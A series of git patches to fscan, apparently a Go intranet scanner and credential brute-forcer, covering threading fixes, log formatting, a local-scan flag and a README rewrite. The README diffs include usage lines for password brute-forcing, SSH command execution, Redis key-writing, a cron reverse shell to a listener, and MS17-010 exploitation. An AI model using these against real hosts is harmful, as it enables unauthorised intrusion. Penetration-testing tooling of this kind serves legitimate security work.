Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 21 Dec 2024 02:00:16 +0800 Subject: [PATCH 108/188] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E5=A4=9A?= =?UTF-8?q?=E7=BA=BF=E7=A8=8B=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FTP.go | 3 ++- Plugins/SSH.go | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/Plugins/FTP.go b/Plugins/FTP.go index e7e8c28..960ba4b 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -20,7 +20,8 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { // 尝试匿名登录 flag, err := FtpConn(info, "anonymous", "") if flag && err == nil { - return err + // 匿名登录成功,不需要继续尝试其他密码 + return nil } errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) Common.LogError(errlog) diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 040b601..960a46e 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -16,7 +16,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) { return } - threads := 10 // 设置线程数 + threads := Common.BruteThreads // 使用 BruteThreads 来控制线程数 taskChan := make(chan struct { user string pass string From 8767c9bae477d4c0a40a4d3dbaf3f02ff66695ca Mon Sep 17 00:00:00 2001 From: shadow1ng Date: Sat, 21 Dec 2024 13:10:52 +0800 Subject: [PATCH 109/188] update --- go.mod | 4 ++-- go.sum | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/go.mod b/go.mod index 299f7da..fe76099 100644 --- a/go.mod +++ b/go.mod @@ -11,6 +11,7 @@ require ( github.com/hirochachacha/go-smb2 v1.1.0 github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.10.9 + github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed github.com/satori/go.uuid v1.2.0 github.com/sijms/go-ora/v2 v2.5.29 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 @@ -38,7 +39,6 @@ require ( github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect github.com/mattn/go-colorable v0.0.9 // indirect github.com/mattn/go-isatty v0.0.3 // indirect - github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed // indirect github.com/stoewer/go-strcase v1.2.0 // indirect go.uber.org/atomic v1.5.0 // indirect go.uber.org/multierr v1.3.0 // indirect @@ -51,6 +51,6 @@ require ( honnef.co/go/tools v0.0.1-2019.2.3 // indirect ) -replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3 +replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.5 replace github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 => github.com/shadow1ng/goWMIExec v0.0.2 diff --git a/go.sum b/go.sum index 4d252f1..c5c710c 100644 --- a/go.sum +++ b/go.sum @@ -208,8 +208,8 @@ github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdh github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shadow1ng/goWMIExec v0.0.2 h1:tZdno/F0JVwwpX34fidRqnT7lvobUgelyb/wWd7YgcM= github.com/shadow1ng/goWMIExec v0.0.2/go.mod h1:SWfWb5+XTfacyp4OULdNsxOdsQTjFEpAUEn5JGTCMIA= -github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= -github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= +github.com/shadow1ng/grdp v1.0.5 h1:GsfDACbgvPSrVTJ3KcxQe+Fb03aCfWECSBmW9PhCg8s= +github.com/shadow1ng/grdp v1.0.5/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk= github.com/shurcooL/httpfs v0.0.0-20190707220628-8d4bc4ba7749/go.mod h1:ZY1cvUeJuFPAdZ/B6v7RHavJWZn2YPVFQ1OSXhCGOkg= github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= From 17c85431ca3a6c064aa26101c842c45973a853ba Mon Sep 17 00:00:00 2001 From: shadow1ng Date: Sat, 21 Dec 2024 13:13:12 +0800 Subject: [PATCH 110/188] update --- Plugins/RDP.go | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 1a642e3..a14255d 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -31,9 +31,7 @@ type Brutelist struct { // RdpScan 执行RDP服务扫描 func RdpScan(info *Common.HostInfo) (tmperr error) { defer func() { - if err := recover(); err != nil { - fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) - } + recover() }() if Common.DisableBrute { return @@ -120,8 +118,7 @@ func incrNum(num *int, mutex *sync.Mutex) { // RdpConn 尝试RDP连接 func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { defer func() { - if err := recover(); err != nil { - } + recover() }() target := fmt.Sprintf("%s:%d", ip, port) From 33cb33b1ad79c6e27b8a76a3337c593112f1a46d Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 21 Dec 2024 17:21:41 +0800 Subject: [PATCH 111/188] =?UTF-8?q?perf:=20=E7=BB=9F=E4=B8=80=E9=94=99?= =?UTF-8?q?=E8=AF=AF=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Log.go | 6 +++--- Common/Parse.go | 10 +++++----- Common/ParseIP.go | 22 +++++++++++----------- Core/Scanner.go | 4 ++-- Plugins/FcgiScan.go | 4 ++-- Plugins/RDP.go | 2 +- Plugins/SMB.go | 2 +- 7 files changed, 25 insertions(+), 25 deletions(-) diff --git a/Common/Log.go b/Common/Log.go index 817c46e..c7e0dae 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -78,7 +78,7 @@ func WriteFile(result string, filename string) { // 打开文件 fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) if err != nil { - fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) + fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err) return } defer fl.Close() @@ -109,7 +109,7 @@ func WriteFile(result string, filename string) { // 序列化JSON jsonData, err := json.Marshal(jsonText) if err != nil { - fmt.Printf("[!] JSON序列化失败: %v\n", err) + fmt.Printf("[-] JSON序列化失败: %v\n", err) jsonText = JsonText{ Type: "msg", Text: result, @@ -123,7 +123,7 @@ func WriteFile(result string, filename string) { } if err != nil { - fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) + fmt.Printf("[-] 写入文件失败 %s: %v\n", filename, err) } } diff --git a/Common/Parse.go b/Common/Parse.go index f39a980..c7ae2a7 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -105,7 +105,7 @@ func ParsePass(Info *HostInfo) error { HashValues = append(HashValues, line) validCount++ } else { - fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line) + fmt.Printf("[-] 无效的哈希值(长度!=32): %s\n", line) } } fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount) @@ -171,7 +171,7 @@ func Readfile(filename string) ([]string, error) { // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err) + fmt.Printf("[-] 打开文件 %s 失败: %v\n", filename, err) return nil, err } defer file.Close() @@ -192,7 +192,7 @@ func Readfile(filename string) ([]string, error) { // 检查扫描过程中是否有错误 if err := scanner.Err(); err != nil { - fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err) + fmt.Printf("[- 读取文件 %s 时出错: %v\n", filename, err) return nil, err } @@ -204,7 +204,7 @@ func Readfile(filename string) ([]string, error) { func ParseInput(Info *HostInfo) error { // 检查必要的目标参数 if Info.Host == "" && HostsFile == "" && TargetURL == "" && URLsFile == "" { - fmt.Println("[!] 未指定扫描目标") + fmt.Println("[-] 未指定扫描目标") flag.Usage() return fmt.Errorf("必须指定扫描目标") } @@ -307,7 +307,7 @@ func ParseInput(Info *HostInfo) error { for _, hash := range HashValues { hashByte, err := hex.DecodeString(hash) if err != nil { - fmt.Printf("[!] Hash解码失败: %s\n", hash) + fmt.Printf("[-] Hash解码失败: %s\n", hash) continue } HashBytes = append(HashBytes, hashByte) diff --git a/Common/ParseIP.go b/Common/ParseIP.go index 8d2c4df..943201b 100644 --- a/Common/ParseIP.go +++ b/Common/ParseIP.go @@ -42,7 +42,7 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e if filename != "" { fileHosts, err := Readipfile(filename) if err != nil { - fmt.Printf("[!] 读取主机文件失败: %v\n", err) + fmt.Printf("[-] 读取主机文件失败: %v\n", err) } else { hosts = append(hosts, fileHosts...) fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts)) @@ -135,7 +135,7 @@ func parseIP(ip string) []string { default: testIP := net.ParseIP(ip) if testIP == nil { - fmt.Printf("[!] 无效的IP地址格式: %s\n", ip) + fmt.Printf("[-] 无效的IP地址格式: %s\n", ip) return nil } return []string{ip} @@ -147,7 +147,7 @@ func parseIP2(host string) []string { // 解析CIDR _, ipNet, err := net.ParseCIDR(host) if err != nil { - fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err) + fmt.Printf("[-] CIDR格式解析失败: %s, %v\n", host, err) return nil } @@ -169,7 +169,7 @@ func parseIP1(ip string) []string { if len(ipRange[1]) < 4 { endNum, err := strconv.Atoi(ipRange[1]) if testIP == nil || endNum > 255 || err != nil { - fmt.Printf("[!] IP范围格式错误: %s\n", ip) + fmt.Printf("[-] IP范围格式错误: %s\n", ip) return nil } @@ -180,7 +180,7 @@ func parseIP1(ip string) []string { prefixIP := strings.Join(splitIP[0:3], ".") if startNum > endNum || err1 != nil || err2 != nil { - fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum) + fmt.Printf("[-] IP范围无效: %d-%d\n", startNum, endNum) return nil } @@ -196,7 +196,7 @@ func parseIP1(ip string) []string { splitIP2 := strings.Split(ipRange[1], ".") if len(splitIP1) != 4 || len(splitIP2) != 4 { - fmt.Printf("[!] IP格式错误: %s\n", ip) + fmt.Printf("[-] IP格式错误: %s\n", ip) return nil } @@ -206,7 +206,7 @@ func parseIP1(ip string) []string { ip1, err1 := strconv.Atoi(splitIP1[i]) ip2, err2 := strconv.Atoi(splitIP2[i]) if ip1 > ip2 || err1 != nil || err2 != nil { - fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1]) + fmt.Printf("[-] IP范围无效: %s-%s\n", ipRange[0], ipRange[1]) return nil } start[i], end[i] = ip1, ip2 @@ -261,7 +261,7 @@ func Readipfile(filename string) ([]string, error) { // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) + fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err) return nil, err } defer file.Close() @@ -283,7 +283,7 @@ func Readipfile(filename string) ([]string, error) { port := strings.Split(text[1], " ")[0] num, err := strconv.Atoi(port) if err != nil || num < 1 || num > 65535 { - fmt.Printf("[!] 忽略无效端口: %s\n", line) + fmt.Printf("[-] 忽略无效端口: %s\n", line) continue } @@ -303,7 +303,7 @@ func Readipfile(filename string) ([]string, error) { // 检查扫描过程中是否有错误 if err := scanner.Err(); err != nil { - fmt.Printf("[!] 读取文件时出错: %v\n", err) + fmt.Printf("[-] 读取文件时出错: %v\n", err) return content, err } @@ -335,7 +335,7 @@ func parseIP8(ip string) []string { testIP := net.ParseIP(realIP) if testIP == nil { - fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP) + fmt.Printf("[-] 无效的IP地址格式: %s\n", realIP) return nil } diff --git a/Core/Scanner.go b/Core/Scanner.go index ba3b66d..2b3c724 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -187,7 +187,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa func ScanFunc(name *string, info *Common.HostInfo) { defer func() { if err := recover(); err != nil { - fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) } }() @@ -200,7 +200,7 @@ func ScanFunc(name *string, info *Common.HostInfo) { // 直接调用扫描函数 if err := plugin.ScanFunc(info); err != nil { - fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) } } diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index 3f23b9e..696f4e2 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -71,14 +71,14 @@ func FcgiScan(info *Common.HostInfo) error { } }() if err != nil { - fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + fmt.Printf("[-] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) return err } // 发送FastCGI请求 stdout, stderr, err := fcgi.Request(env, reqParams) if err != nil { - fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + fmt.Printf("[-] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) return err } diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 1a642e3..0ffebbe 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -32,7 +32,7 @@ type Brutelist struct { func RdpScan(info *Common.HostInfo) (tmperr error) { defer func() { if err := recover(); err != nil { - fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) } }() if Common.DisableBrute { diff --git a/Plugins/SMB.go b/Plugins/SMB.go index b6afaf9..99f7ff9 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -105,6 +105,6 @@ func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, case <-signal: return flag, err case <-time.After(time.Duration(Common.Timeout) * time.Second): - return false, errors.New("[!] SMB连接超时") + return false, errors.New("[-] SMB连接超时") } } From d192b7fc2a595664f999360e0192843f971fb946 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 21 Dec 2024 18:26:19 +0800 Subject: [PATCH 112/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=E6=9C=AC?= =?UTF-8?q?=E5=9C=B0=E6=89=AB=E6=8F=8FFlag?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Common/Config.go b/Common/Config.go index 1ee12e0..9da44e0 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -48,6 +48,9 @@ var ( UsePing bool // 原Ping Command string + // 本地扫描配置 + LocalScan bool + // 文件配置 HostsFile string // 原HostFile UsersFile string // 原Userfile From c5dcf2c633d6cb0b3c1606a90484604e8854de53 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 21 Dec 2024 18:26:44 +0800 Subject: [PATCH 113/188] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=E6=A8=A1=E5=BC=8F=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 3 +++ Common/Parse.go | 5 ++++ Common/Ports.go | 16 +++++++++++++ Core/Registry.go | 5 +++- Core/Scanner.go | 59 ++++++++++++++++++++++++++++-------------------- 5 files changed, 62 insertions(+), 26 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index 8ce0fb3..34de495 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -43,6 +43,9 @@ func Flag(Info *HostInfo) { flag.BoolVar(&UsePing, "ping", false, "使用ping替代ICMP") flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") + // 本地扫描配置 + flag.BoolVar(&LocalScan, "local", false, "启用本地扫描") + // 文件配置 flag.StringVar(&HostsFile, "hf", "", "主机列表文件") flag.StringVar(&UsersFile, "userf", "", "用户名字典") diff --git a/Common/Parse.go b/Common/Parse.go index c7ae2a7..651ce46 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -209,6 +209,11 @@ func ParseInput(Info *HostInfo) error { return fmt.Errorf("必须指定扫描目标") } + // 如果是本地扫描模式,输出提示 + if LocalScan { + fmt.Println("[*] 已启用本地扫描模式") + } + // 配置基本参数 if BruteThreads <= 0 { BruteThreads = 1 diff --git a/Common/Ports.go b/Common/Ports.go index 31440a7..2d8f2a6 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -1,7 +1,23 @@ package Common +import ( + "strconv" + "strings" +) + var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,6379,9000,11211,27017" var DbPorts = "1433,1521,3306,5432,6379,11211,27017" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" + +func ParsePortsFromString(portsStr string) []int { + var ports []int + portStrings := strings.Split(portsStr, ",") + for _, portStr := range portStrings { + if port, err := strconv.Atoi(portStr); err == nil { + ports = append(ports, port) + } + } + return ports +} diff --git a/Core/Registry.go b/Core/Registry.go index 0bdadc6..51e6fb1 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -20,7 +20,7 @@ func init() { }) Common.RegisterPlugin("telnet", Common.ScanPlugin{ - Name: "TELNET", + Name: "Telnet", Ports: []int{23}, ScanFunc: Plugins.TelnetScan, }) @@ -116,13 +116,16 @@ func init() { ScanFunc: Plugins.SmbGhost, }) + // web 相关插件添加 WebPorts 配置 Common.RegisterPlugin("web", Common.ScanPlugin{ Name: "WebTitle", + Ports: Common.ParsePortsFromString(Common.WebPorts), // 将 WebPorts 字符串解析为端口数组 ScanFunc: Plugins.WebTitle, }) Common.RegisterPlugin("webpoc", Common.ScanPlugin{ Name: "WebPoc", + Ports: Common.ParsePortsFromString(Common.WebPorts), // 将 WebPorts 字符串解析为端口数组 ScanFunc: Plugins.WebPoc, }) diff --git a/Core/Scanner.go b/Core/Scanner.go index 2b3c724..0c059da 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -19,7 +19,7 @@ func Scan(info Common.HostInfo) { wg := sync.WaitGroup{} // 本地信息收集模式 - if Common.IsLocalScan() { + if Common.LocalScan { executeScans([]Common.HostInfo{info}, &ch, &wg) finishScan(&wg) return @@ -107,38 +107,47 @@ func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common. return infos } -// executeScans 统一执行扫描任务 func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { mode := Common.GetScanMode() + var pluginsToRun []string - // 判断是否是预设模式(大写开头) + // 获取要执行的插件列表 if plugins := Common.GetPluginsForMode(mode); plugins != nil { - // 使用预设模式的插件组 - for _, target := range targets { - targetPort, _ := strconv.Atoi(target.Ports) // 转换目标端口为整数 - for _, pluginName := range plugins { - // 获取插件信息 - plugin, exists := Common.PluginManager[pluginName] - if !exists { - continue - } + // 预设模式下使用配置的插件组 + pluginsToRun = plugins + } else { + // 单插件模式下只包含指定的插件 + pluginsToRun = []string{mode} + } - // 检查插件是否有默认端口配置 - if len(plugin.Ports) > 0 { - // 只有当目标端口在插件支持的端口列表中才执行 - if plugin.HasPort(targetPort) { - AddScan(pluginName, target, ch, wg) - } - } else { - // 对于没有指定端口的插件,始终执行 + // 统一处理所有目标和插件 + for _, target := range targets { + targetPort, _ := strconv.Atoi(target.Ports) + + for _, pluginName := range pluginsToRun { + // 获取插件信息 + plugin, exists := Common.PluginManager[pluginName] + if !exists { + continue + } + + // 本地扫描模式的特殊处理 + if Common.LocalScan { + // 只执行没有端口配置的插件 + if len(plugin.Ports) == 0 { AddScan(pluginName, target, ch, wg) } + continue + } + + // 非本地扫描模式的常规处理 + if len(plugin.Ports) > 0 { + if plugin.HasPort(targetPort) { + AddScan(pluginName, target, ch, wg) + } + } else { + AddScan(pluginName, target, ch, wg) } - } - } else { - // 使用单个插件模式,直接执行不做端口检查 - for _, target := range targets { - AddScan(mode, target, ch, wg) } } } From eab41f60186f7589fe3690d4b68b1f1c115bf3ba Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 21 Dec 2024 22:13:10 +0800 Subject: [PATCH 114/188] =?UTF-8?q?docs:=20=E6=9B=B4=E6=96=B0=E6=96=87?= =?UTF-8?q?=E6=A1=A3=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/ParseScanMode.go | 1 - README.md | 233 ++++++++++++++++++++++++---------------- 2 files changed, 139 insertions(+), 95 deletions(-) diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 0870ece..4068d33 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -93,6 +93,5 @@ func GetPluginsForMode(mode string) []string { // 辅助函数 func IsPortScan() bool { return ScanMode == ModePort } func IsICMPScan() bool { return ScanMode == ModeICMP } -func IsLocalScan() bool { return ScanMode == ModeLocal } func IsWebScan() bool { return ScanMode == ModeWeb } func GetScanMode() string { return ScanMode } diff --git a/README.md b/README.md index 6062304..da5b5d5 100644 --- a/README.md +++ b/README.md @@ -48,140 +48,185 @@ - 扫描结果存储:将所有检测结果保存至文件,便于后续分析 # 0x03 使用说明 -## 基础用法 + +## 基础扫描 + ```bash -# 默认扫描(使用全部模块) -fscan.exe -h 192.168.1.1/24 - -# B段扫描 -fscan.exe -h 192.168.1.1/16 -``` - -## 进阶用法 - -### 扫描控制 -```bash -# 跳过存活检测、不保存文件、跳过web poc扫描 -fscan.exe -h 192.168.1.1/24 -np -no -nopoc - -# 指定扫描结果保存路径 -fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt +# 单一目标或网段扫描 +fscan -h 192.168.1.1/24 # 扫描整个C段 +fscan -h 192.168.1.1/16 # 扫描B段 +fscan -h 192.168.1.1-255 # 范围扫描 +fscan -h 192.168.1.1,192.168.1.2 # 多目标扫描 # 从文件导入目标 -fscan.exe -hf ip.txt +fscan -hf ip.txt ``` -### 特定功能 +## 端口配置 ```bash -# Redis利用 -fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥 -fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell - -# SSH操作 -fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令 - -# 密码爆破 -fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件 -fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞 +fscan -h 192.168.1.1/24 -p 22,80,3306 # 指定端口扫描 +fscan -h 192.168.1.1/24 -p 1-65535 # 端口范围 +fscan -h 192.168.1.1/24 -pa 3389 # 添加额外端口 +fscan -h 192.168.1.1/24 -pn 445 # 排除特定端口 ``` -### 代理设置 +## 认证配置 ```bash -# HTTP代理 -fscan.exe -u http://baidu.com -proxy 8080 +# 用户名密码配置 +fscan -h 192.168.1.1/24 -user admin -pwd password # 指定用户名密码 +fscan -h 192.168.1.1/24 -userf users.txt -pwdf pwd.txt # 指定字典文件 +fscan -h 192.168.1.1/24 -usera newuser -pwda newpass # 添加额外用户名密码 -# SOCKS5代理 -fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 +# SSH相关 +fscan -h 192.168.1.1/24 -sshkey id_rsa # 指定SSH密钥 +fscan -h 192.168.1.1/24 -c "whoami" # SSH连接后执行命令 ``` -### 特定漏洞检测 +## 扫描控制 ```bash -# MS17-010检测 -fscan.exe -h 192.168.1.1/24 -m ms17010 +# 扫描方式 +fscan -h 192.168.1.1/24 -np # 跳过存活检测 +fscan -h 192.168.1.1/24 -ping # 使用ping替代ICMP +fscan -h 192.168.1.1/24 -t 1000 # 设置线程数 +fscan -h 192.168.1.1/24 -time 5 # 设置超时时间 -# MS17-010利用 -fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add +# 特定服务扫描 +fscan -h 192.168.1.1/24 -m ssh # 指定扫描类型 +``` + +## Web扫描 +```bash +# Web目标扫描 +fscan -u http://example.com # 单一URL扫描 +fscan -uf urls.txt # 批量URL扫描 +fscan -h 192.168.1.1/24 -nopoc # 禁用Web POC扫描 + +# Web扫描配置 +fscan -cookie "session=xxx" # 设置Cookie +fscan -wt 10 # Web请求超时时间 +``` + +## 代理设置 +```bash +fscan -proxy http://127.0.0.1:8080 # HTTP代理 +fscan -socks5 127.0.0.1:1080 # SOCKS5代理 +``` + +## 输出控制 +```bash +fscan -h 192.168.1.1/24 -o result.txt # 指定输出文件 +fscan -h 192.168.1.1/24 -no # 不保存结果 +fscan -h 192.168.1.1/24 -json # JSON格式输出 +fscan -h 192.168.1.1/24 -silent # 静默模式 +fscan -h 192.168.1.1/24 -nocolor # 禁用彩色输出 ``` ## 编译说明 ```bash # 基础编译 -go build -ldflags="-s -w " -trimpath main.go +go build -ldflags="-s -w" -trimpath main.go -# 使用UPX压缩(可选) -upx -9 fscan.exe +# UPX压缩(可选) +upx -9 fscan ``` -## Arch Linux安装 +## 系统安装 ```bash -# 使用yay +# Arch Linux yay -S fscan-git - -# 或使用paru +# 或 paru -S fscan-git ``` # 0x04 参数说明 ## 目标设置 -- `-h` : 设置目标IP - - 支持单个IP:`192.168.11.11` - - 支持IP范围:`192.168.11.11-255` - - 支持多个IP:`192.168.11.11,192.168.11.12` -- `-hf` : 从文件读取目标 -- `-hn` : 设置要排除的IP范围 -- `-u` : 指定单个URL扫描 -- `-uf` : 指定URL文件扫描 +* `-h` : 目标主机配置 + * 单个IP: `192.168.11.11` + * IP范围: `192.168.11.11-255` + * IP段: `192.168.11.11/24` + * 多目标: `192.168.11.11,192.168.11.12` +* `-hf` : 从文件读取目标列表 +* `-eh` : 排除特定IP范围,例如: `-eh 192.168.1.1/24` +* `-u` : 指定单个URL进行Web扫描 +* `-uf` : 从文件读取URL列表 -## 扫描控制 -- `-m` : 指定扫描模式,默认为"all" -- `-t` : 设置扫描线程数,默认600 -- `-time` : 端口扫描超时时间,默认3秒 -- `-wt` : Web访问超时时间,默认5秒 -- `-debug` : 设置进度打印间隔,默认60秒 -- `-silent` : 开启静默模式,适用于CS扫描 +## 扫描模式 +* `-m` : 指定扫描模式,支持以下选项: + * `All`: 全量扫描(默认) + * `Basic`: 基础服务扫描(Web、FTP、SSH、SMB等) + * `Database`: 数据库服务扫描 + * `Web`: 仅Web服务扫描 + * `Service`: 常用服务扫描 + * `Vul`: 漏洞扫描 + * `Port`: 端口扫描 + * `ICMP`: ICMP探测 + * `Local`: 本地信息收集 ## 端口配置 -- `-p` : 指定扫描端口 - - 默认端口:21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017 -- `-pa` : 在默认端口基础上新增端口 -- `-pn` : 设置要排除的端口 +* `-p` : 指定扫描端口 + * 支持范围: `1-65535` + * 支持列表: `80,443,3306` + * 预设组: + * `main`: 常用主要端口 + * `service`: 服务端口 + * `db`: 数据库端口 + * `web`: Web服务端口 + * `all`: 全端口 +* `-pa` : 在默认端口基础上添加端口 +* `-pn` : 排除指定端口 +* `-portf` : 从文件读取端口列表 -## 爆破相关 -- `-user` : 指定用户名 -- `-userf` : 指定用户名文件 -- `-pwd` : 指定密码 -- `-pwdf` : 指定密码文件 -- `-usera` : 